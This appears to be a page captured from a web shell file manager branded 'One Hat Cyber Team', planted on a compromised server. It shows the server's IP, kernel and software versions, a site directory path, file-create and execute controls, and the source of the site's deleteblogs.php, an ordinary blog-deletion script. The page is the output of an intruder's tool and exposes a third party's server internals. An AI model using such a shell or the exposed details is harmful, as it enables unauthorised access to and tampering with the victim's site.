⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
china-democracyparty.com
/
5
/
View File Name :
deleteblogs.php
<?php // deleteblogs.php — 删除博客 + 删除图片(带登录验证) session_start(); if (empty($_SESSION['admin_logged'])) { // 未登录,跳转到后台登录页 header("Location: admin.php"); exit; } require_once __DIR__ . '/sql.php'; // 1. 获取博客 ID $id = isset($_GET['id']) ? intval($_GET['id']) : 0; if ($id <= 0) { die("参数错误:无效的 ID"); } // 2. 查询数据库,拿到图片路径 $sql = "SELECT image FROM blogs WHERE id = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("i", $id); $stmt->execute(); $result = $stmt->get_result(); $row = $result->fetch_assoc(); if (!$row) { die("错误:记录不存在"); } // === 删除对应图片 === if (!empty($row['image'])) { $file_path = __DIR__ . "/" . $row['image']; // 真实服务器路径 if (file_exists($file_path)) { unlink($file_path); } } // 3. 删除数据库记录 $sql = "DELETE FROM blogs WHERE id = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("i", $id); if ($stmt->execute()) { header("Location: admin.php?msg=deleted"); exit; } else { echo "删除失败:" . $conn->error; } ?>